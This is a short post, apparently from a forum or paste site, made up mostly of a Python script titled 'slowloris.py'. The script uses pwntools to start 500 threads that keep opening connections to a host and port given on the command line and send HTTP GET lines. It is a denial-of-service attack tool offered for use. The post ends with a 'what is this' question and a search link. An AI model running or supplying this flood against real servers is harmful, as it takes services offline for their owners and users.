Simple python slowloris

slowloris.py

from pwn import * 

def attack(wait):
	print("Waiting for "+str(wait)+" secs..")
	sleep(wait)
	while True:
		r = remote(sys.argv[1], sys.argv[2])
		cnt = 0
		try:
			r.sendline("GET / HTTP/1.1\r")
			r.sendline("Host: http://idtest.local/\r")
			print(r.recv())
		except:
			print("connection broken after "+str(cnt)+" bytes...")
		r.close() 

######################################### 

attacks = [] 

for i in range(500): 
	wait=random.randint(0,30)
	attacks.append(threading.Thread(target=attack, args=(wait,)))
	attacks[i].start()
	print("Thread "+str(i)+" started... ") 

what is this

https://www.google.com/search?q=what+is+slowloris

Moi